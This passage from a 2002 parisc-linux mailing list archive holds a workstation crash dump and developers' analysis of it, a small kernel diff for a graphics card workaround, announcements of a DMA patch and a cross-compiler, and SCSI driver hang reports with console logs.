16-19   0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  0000000000000000

<Press any key to continue (q to quit)> 

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  0000000000000000
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000000000000
CPU State                    = 0x00000000


<Press any key to continue (q to quit)> 

Memory Error Log Information:

Timestamp = 
  Sat Feb  2 18:48:51 GMT 2002    (20:02:02:02:18:48:51)


'9000/785 B,C,J Workstation Memory Error Log', rev 0, 64 bytes:

 This log displays the contents of memory specific registers when the
 HPMC occurred.  If there are multiple memory errors, the order they are
 listed is not indicative of the order they occurred.

                                   Trans  Addr
   Memory Error Type(s)  OV  MID    ID    par  CP   DIMM       Runway Address
   --------------------  --  ---  -----  ----  --  -------  -------------------
1) Correctable Mem       1   0x0  0x10   na    na  01       0x       0000110bc0

                                                Syndrome
                                           ------------------
                                        1) 0x8c008c0000008c00
<Press any key to continue (q to quit)> 

I/O Module Error Log Information:

Timestamp = 
  Sat Feb  2 18:48:51 GMT 2002    (20:02:02:02:18:48:51)


'9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:

 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    0x00000000   0x0e0cc009   0x00000000fed30048
   1    0x00000000   0x1e0cc009   0x00000000fed32048
   2    ----------   0x2e0cc009   ------------------
   3    ----------   0x3e0cc009   ------------------
   4    0x00000000   0x4e0cc009   0x00000000fed38048
   5    ----------   0x5e0cc009   ------------------
   6    0x0000e000   0x6e0cc009   0x00000000fa38003c
   7    ----------   0x7e0cc009   ------------------
Service Menu: Enter command >  
--------------Boundary-00=_JF6XHCS1PKLM6GA59IUG--




From - Thu Nov 08 21:21:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux deller
Date: Sat, 2 Feb 2002 20:43:14 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <200202022043.14099.deller@gmx.de>
References: <20020202194652.B1F8D482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="------------Boundary-00=_248X1F1YIHV619DL20CM"
X-Trace: ger.gmane.org 1416621033 2400 80.91.229.3 (22 Nov 2014 01:50:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
	deller@dsl2.external.hp.com (Helge Deller),
	parisc-linux-cvs@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  2 12:48:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 492F0482B
	for <parisc-linux@lists.parisc-linux.org>; Sat,  2 Feb 2002 12:48:58 -0700 (MST)
Original-Received: (qmail 31427 invoked by uid 0); 2 Feb 2002 19:48:56 -0000
Original-Received: from pd9e084a7.dip.t-dialin.net (HELO P100) (217.224.132.167)
  by mail.gmx.net (mp010-rz3) with SMTP; 2 Feb 2002 19:48:56 -0000
X-Mailer: KMail [version 1.3.9]
In-Reply-To: <20020202194652.B1F8D482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13942

--------------Boundary-00=_248X1F1YIHV619DL20CM
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

On Saturday 02 February 2002 20:46, Helge Deller wrote:
> CVSROOT:	/var/cvs
> Module name:	linux
> Changes by:	deller	02/02/02 12:46:52
>
> Modified files:
> 	drivers/video/sti: sticore.c
>
> Log message:
> add #if 1 / #endif around the c3k VisEG PCI work-around, it easier to
> enable/disable

--------------Boundary-00=_248X1F1YIHV619DL20CM
Content-Type: text/plain;
  charset="iso-8859-1";
  name="diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="diff"

Index: sticore.c
===================================================================
RCS file: /var/cvs/linux/drivers/video/sti/sticore.c,v
retrieving revision 1.33
diff -u -p -r1.33 sticore.c
--- sticore.c	2002/01/28 22:54:40	1.33
+++ sticore.c	2002/02/02 19:45:58
@@ -936,10 +936,11 @@ static int __devinit sticore_pci_init(st
 	/* XXX */
 	/* A Visualize EG PCI graphics card in a c3000 would crash the machine. */
 	/* This is an ugly work-around */
-#warning "FIXME: VisEG PCI graphic card crashes c3000"
 	switch (CPU_HVERSION) {
 	case 0x5BB:
 	case 0x5BC:
+#if 1
+#warning "FIXME: VisEG PCI graphic card crashes c3000"
 		if (pd->device == 0x1005) { /* "A4977A Visualize EG" */
 			printk("I'm not trying to set up the PCI graphic card now... "
 				"It would freeze your machine !\n");
@@ -947,6 +948,7 @@ static int __devinit sticore_pci_init(st
 			break;
 		}
 		/* fall through */
+#endif
 	default:
 		sti = sti_try_rom_generic(rom_base, fb_base, pd);
 		if (sti) {

--------------Boundary-00=_248X1F1YIHV619DL20CM--




From - Thu Nov 08 21:21:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa_dma_ops patch
Date: Sat, 02 Feb 2002 20:32:04 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20020203033204.AF0F0482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621033 2403 80.91.229.3 (22 Nov 2014 01:50:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  2 20:32:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF0F0482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  2 Feb 2002 20:32:04 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13943

Hi all,
I've prepared code for hppa_dma_ops/CONFIG_PA11 and placed it on
	ftp://ftp.parisc-linux.org/patches/hppa_dma_ops.patch

I've built PA20 and PA11 kernels.  But not tested either.
My A500 is currently in use and I need someone else to try
with CONFIG_PA11 enabled. I'm sure I'll get to test on the A500
(CONFIG_PA20) by tomorrow and can then commit the code.

thanks,
grant



From - Thu Nov 08 21:21:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PIM after c3k crash w/ VisEG PCI card
Date: Sat, 02 Feb 2002 23:57:34 -0700
Lines: 170
Approved: news@gmane.org
Message-ID: <20020203065735.3DAD2482A@dsl2.external.hp.com>
References: <200202022006.55581.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621033 2409 80.91.229.3 (22 Nov 2014 01:50:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  2 23:57:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 3DAD2482A; Sat,  2 Feb 2002 23:57:35 -0700 (MST)
In-Reply-To: Message from Helge Deller <deller@gmx.de> 
   of "Sat, 02 Feb 2002 20:06:55 +0100." <200202022006.55581.deller@gmx.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13944

Helge Deller wrote:
> Hi all,
> 
> the attached file shows the PIM of a 64bit kernel after my 
> machine crashed while trying to initialize the STI with a 
> VisEG PCI card in PCI slot 2. So it's the same problem
> as with a 32bit kernel.
> 
> Hopefully/Maybe this log may be usefull for someone of 
> you helping me to debug this problem ?

I can try.
notes/thoughts mixed in.
Much of the original text deleted.

> Timestamp = 
>   Sat Feb  2 18:48:51 GMT 2002    (20:02:02:02:18:48:51)

You should verify the timestamp actually matches the incident.
(This looks ok)

> HPMC Chassis Codes = 2cbf0  2500b  27821  2cbf4  2cbfc  

Normally these are useful - if you have the magic decoder 
for them. I don't know what the first digit "2" means.
The cbf0/500b/7821/cbf4/cbfc look familiar.

Here's what I *think* these mean based on some *really old* notes:
cbf0: HPMC
500b: Bus Timeout
7821: 782x == Mem Correctable Err, 1 == DIMM 1

	This seems to match the "clear" text that was printed later.
	Sounds like an orthogonal problem. Perhaps swap DIMM 1 with
	one of the other DIMMS?

cbf4: invalid OS HPMC checksum - page zero OS entry ptr was invalid
cbfc: couldn't call OS HPMC handler

	So fixing this would probably help get more info to console
	when it dies. Perhaps we try to setup the console before
	enabling the OS HPMC handler?

	But no console means no output unless EARLY_BOOTUP_DEBUG
	is defined in pdc_cons.c.


> General Registers 0 - 31
> 00-03   0000000000000000  ffffffffffffffff  00000000001072a0  00000000004c524
>   0

I'm going to guess GR02 is a realmode address (matching
virtual addr would be 101072a0).
Or perhaps a "double" HPMC occurred?

First one happened in STI code and then the OS HPMC handler
tripped again when it tried to output?


> IIA Space                    = 0x0000000000000000
> IIA Offset                   = 0x000000007fb3187c

Is this were STI gets loaded?
Looks like an awefully high address.
Artifact of no OS HPMC handler?

I'd hope STI would work the same on all boxes.

> Check Type                   = 0x20000000
> CPU State                    = 0x9e000004
> Cache Check                  = 0x00000000
> TLB Check                    = 0x00000000
> Bus Check                    = 0x0030103b
> Assists Check                = 0x00000000
> Assist State                 = 0x00000000
> Path Info                    = 0x00000000
> System Responder Address     = 0x000000fffa380004

Address CPU was trying to read.

> System Requestor Address     = 0xfffffffffffa0000

HPA of CPU that timed out.

...
> '9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:
> 
> Check Summary                = 0xcb81045028000000
> Available Memory             = 0x0000000080000000
> CPU Diagnose Register 2      = 0x0203000000802004
> CPU Status Register 0        = 0x2420c20000000000
> CPU Status Register 1        = 0x8002000000000000
> SADD LOG                     = 0xaf115ebd36f73fff
> Read Short LOG               = 0xc1a0f0fffa380004
> ERROR_STATUS                 = 0x0000000000500050
> MEM_ADDR                     = 0x000001ff3fffffff
> MEM_SYND                     = 0x0000000000000000
> MEM_ADDR_CORR                = 0x000000100000442f
> MEM_SYND_CORR                = 0x8c008c0000008c00
> RUN_DATA_HIGH                = 0xc1bff0fffed08040
> RUN_DATA_LOW                 = 0xc1bff0fffed08040
> RUN_CTRL                     = 0x0000021c00001418
> RUN_ADDR                     = 0xc1bff0fffed08040
> System Responder Path        = 0x00ffffff0a060200

Much is actually interesting - but I think Read Short LOG
was the address of the most recent sub-cacheline read.
Not sure if this is only IO.

...
> A Data I/O Fetch Timeout occurred while CPU 0 was
> requesting information from a device at the path 10/6/2/0 (PCI slot 2).

Typical of two scenarios:
o device wasn't initialized/enabled
  (ie PCI CMD Bus Master and/or MMIO Enable bits not set)

o Some Bridge chip betwen CPU and PCI Device was already Fatal
  (eg DMA to invalid address with cause Astro/U2 to go fatal
   because of unresolved IO TLB fault)

> Memory/IO Controller Error Analysis Information:
> 
> There were multiple correctable memory errors.  See 'Memory Error Log Info'.

I'm wondering if this is related. Do these happen with out Viz-EG
enabled too?
You can "ser clearpim", boot, build a kernel or something, reboot
and check PIM info again.

> -----------------  Processor 0 LPMC Information ------------------

FWIW, typically LPMC is for correctable memory errors.
I believe the OS gets notified of these since it may chose
to evacuate the memory page that's getting those.

>  This log displays the contents of memory specific registers when the
>  HPMC occurred.  If there are multiple memory errors, the order they are
>  listed is not indicative of the order they occurred.
> 
>                                    Trans  Addr
>    Memory Error Type(s)  OV  MID    ID    par  CP   DIMM       Runway Address
>    --------------------  --  ---  -----  ----  --  -------  -----------------
>   --
> 1) Correctable Mem       1   0x0  0x10   na    na  01       0x       0000110b
>   c0

hmmm...is 00110bc0 a kernel address?
that's not far off from GR02.

> '9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:
> 
>  Rope     Word1        Word2            Word3
> ------ ------------ ------------
>    0    0x00000000   0x0e0cc009   0x00000000fed30048
>    1    0x00000000   0x1e0cc009   0x00000000fed32048
>    2    ----------   0x2e0cc009   ------------------
>    3    ----------   0x3e0cc009   ------------------
>    4    0x00000000   0x4e0cc009   0x00000000fed38048
>    5    ----------   0x5e0cc009   ------------------
>    6    0x0000e000   0x6e0cc009   0x00000000fa38003c
>    7    ----------   0x7e0cc009   ------------------

Rope 6 went fatal (0xe). Forgot  what word3 is - offending address?


hth,
grant



From - Thu Nov 08 21:21:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new i386 -> hppa/hppa64 cross-compiler
Date: Sun, 03 Feb 2002 10:05:43 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20020203170543.3144E37D2B@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621034 2446 80.91.229.3 (22 Nov 2014 01:50:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:34 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  3 10:05:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id ADB20482A
	for <parisc-linux@parisc-linux.org>; Sun,  3 Feb 2002 10:05:54 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel7.hp.com (Postfix) with ESMTP id DA6648050A5
	for <parisc-linux@parisc-linux.org>; Sun,  3 Feb 2002 12:05:43 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 3144E37D2B
	for <parisc-linux@parisc-linux.org>; Sun,  3 Feb 2002 10:05:43 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13945

Hi palinuxers,

I have built a new i386 -> hppa/hppa64 cross-compiler using Debian
source packages from unstable on Jan 18th. In addition I also had to
apply this patch to gcc,

http://subversions.gnu.org/cgi-bin/viewcvs/gcc/gcc/gcc/cp/search.c.diff?r1=1.217&r2=1.218

There are no major known problems with the previous xc, it was just
getting a little old. The new xc is available at,

ftp://ftp.parisc-linux.org/x86-xcompilers/xc-20020118.tar.gz

Same as always, it provides 32 bit binutils/gcc/glibc and 64 bit
binutils/gcc. It should be untar'd in / and lives in /opt/palinux. It has
been tested for two weeks with no reported problems.

Please send any issues/problems to the list.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:21:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 53c700 (LASI SCSI 53c700) hang
Date: Sun, 3 Feb 2002 18:29:12 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <200202031829.12429.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621034 2465 80.91.229.3 (22 Nov 2014 01:50:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@HansenPartnership.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  3 10:38:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id B721D482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Feb 2002 10:38:53 -0700 (MST)
Original-Received: (qmail 31150 invoked by uid 0); 3 Feb 2002 17:38:50 -0000
Original-Received: from pd90407c7.dip.t-dialin.net (HELO P100) (217.4.7.199)
  by mail.gmx.net (mp001-rz3) with SMTP; 3 Feb 2002 17:38:50 -0000
X-Mailer: KMail [version 1.3.9]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13946

Hi James,

today my 715/64 completely stopped after some "dpkg -i"-ing.
According to the following lines from the serial console the new
SCSI driver stopped talking to my harddisk.
I'm sending this bug report now, after that this has happened 
~3 times in the last 2 months.
Any ideas ?

TIA,
Helge

This is what I got on my serial console. Sadly some things before it
are missing:

scsi0 (6:0) New error handler wants to abort command                                                         
        0x00 00 00 00 00 00                                                                                  
scsi: device set offline - not ready or command retry failed after bus reset: 
host 0 channel 0 id 6 lun 0    
scsi0 (6:0) New error handler wants to abort command                                                         
        0x00 00 00 00 00 00                                                                                  
scsi: device set offline - not ready or command retry failed after bus reset: 
host 0 channel 0 id 6 lun 0    
scsi0 (6:0) New error handler wants to abort command                                                         
        0x00 00 00 00 00 00                                                                                  
scsi: device set offline - not ready or command retry failed after bus reset: 
host 0 channel 0 id 6 lun 0


from the dmesg:
SCSI subsystem driver Revision: 1.00
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi0: 53c710 rev 2                                         
scsi0 : LASI SCSI 53c700
scsi0: (6:0) Synchronous at offset 8, period 100ns
  Vendor: QUANTUM   Model: FIREBALL_TM3200S  Rev: 300X
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0            
scsi0: (6:0) Enabling Tag Command Queuing              
SCSI device sda: 6281856 512-byte hdwr sectors (3216 MB)
Partition check:                                        
 sda: sda1 sda2 sda3 sda4





From - Thu Nov 08 21:21:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 53c700 (LASI SCSI 53c700) hang
Date: Sun, 3 Feb 2002 19:29:48 +0100
Lines: 114
Approved: news@gmane.org
Message-ID: <200202031929.48891.deller@gmx.de>
References: <200202031829.12429.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621034 2473 80.91.229.3 (22 Nov 2014 01:50:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@HansenPartnership.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  3 11:36:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id A9622482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Feb 2002 11:36:00 -0700 (MST)
Original-Received: (qmail 32610 invoked by uid 0); 3 Feb 2002 18:35:57 -0000
Original-Received: from pd904072b.dip.t-dialin.net (HELO P100) (217.4.7.43)
  by mail.gmx.net (mp014-rz3) with SMTP; 3 Feb 2002 18:35:57 -0000
X-Mailer: KMail [version 1.3.9]
In-Reply-To: <200202031829.12429.deller@gmx.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13947

Hi James,

it just happened again while shutting down the system - thus
now I have a little more verbose output:

Unmounting remote filesystems... scsi0 (6:0) New error handler wants to abort 
command                        
        0x2a 00 00 14 0e 5c 00 00 08 00                                                                      
scsi0 (6:0) New error handler wants to abort command                                                         
        0x2a 00 00 14 0e cc 00 00 08 00                                                                      
scsi0 (6:0) New error handler wants to abort command                                                         
        0x2a 00 00 18 0e 1c 00 00 10 00                                                                      
scsi0 (6:0) New error handler wants to abort command                                                         
        0x2a 00 00 18 0e a4 00 00 08 00                                                                      
scsi0 (6:0) New error handler wants to abort command                                                         
        0x2a 00 00 2c 0e 54 00 00 08 00                                                                      
scsi0 (6:0) New error handler wants to abort command                                                         
        0x2a 00 00 30 0e 2c 00 00 10 00                                                                      
scsi0 (6:0) New error handler wants to abort command                                                         
        0x2a 00 00 30 0e 4c 00 00 08 00                                                                      
scsi0 (6:0) New error handler wants to abort command                                                         
        0x2a 00 00 30 0f ac 00 00 08 00                                                                      
scsi0 (6:0) New error handler wants to abort command                                                         
        0x2a 00 00 30 10 2c 00 00 08 00                                                                      
scsi0 (6:0) New error handler wants to abort command                                                         
        0x2a 00 00 30 10 5c 00 00 08 00                                                                      
scsi0 (6:0) New error handler wants to abort command                                                         
        0x2a 00 00 30 10 84 00 00 08 00                                                                      
scsi0 (6:0) New error handler wants to abort command                                                         
        0x2a 00 00 08 0d fc 00 00 08 00                                                                      
scsi0 (6:0) New error handler wants to abort command                                                         
        0x2a 00 00 10 0e 1c 00 00 08 00                                                                      
scsi0 (6:0) New error handler wants to abort command                                                         
        0x2a 00 00 10 0e 44 00 00 08 00                                                                      
scsi0 (6:0) New error handler wants to abort command                                                         
        0x2a 00 00 10 0e 54 00 00 10 00                                                                      
scsi0 (6:0) New error handler wants device reset                                                             
        0x2a 00 00 14 0e 5c 00 00 08 00                                                                      
scsi0 (6:0) New error handler wants BUS reset, cmd 10040c00                                                  
        0x2a 00 00 14 0e 5c 00 00 08 00                                                                      
scsi0: Bus Reset detected, executing command 00000000, slot 00000000, dsp 
000504a8[04a8]                     
 failing command because of reset, slot 00010520, cmnd 10040400                                              
 failing command because of reset, slot 00010654, cmnd 10040200                                              
 failing command because of reset, slot 00010788, cmnd 10040600                                              
 failing command because of reset, slot 000108bc, cmnd 10041e00                                              
 failing command because of reset, slot 000109f0, cmnd 10041200                                              
 failing command because of reset, slot 00010b24, cmnd 10041c00                                              
 failing command because of reset, slot 00010c58, cmnd 10040800                                              
 failing command because of reset, slot 00010ec0, cmnd 10040a00                                              
 failing command because of reset, slot 00010ff4, cmnd 10041400                                              
 failing command because of reset, slot 00011128, cmnd 10040c00                                              
 failing command because of reset, slot 0001125c, cmnd 10041000                                              
 failing command because of reset, slot 00011390, cmnd 10040000                                              
 failing command because of reset, slot 000114c4, cmnd 10041600                                              
 failing command because of reset, slot 000115f8, cmnd 10041800                                              
 failing command because of reset, slot 0001172c, cmnd 10041a00                                              
scsi0: (6:0) Synchronous at offset 8, period 100ns                                                           
scsi0 (6:0) New error handler wants to abort command                                                         
        0x03 00 00 00 40 00                                                                                  
scsi: device set offline - not ready or command retry failed after bus reset: 
host 0 channel 0 id 6 lun 0    


Helge



On Sunday 03 February 2002 18:29, Helge Deller wrote:
> Hi James,
>
> today my 715/64 completely stopped after some "dpkg -i"-ing.
> According to the following lines from the serial console the new
> SCSI driver stopped talking to my harddisk.
> I'm sending this bug report now, after that this has happened
> ~3 times in the last 2 months.
> Any ideas ?
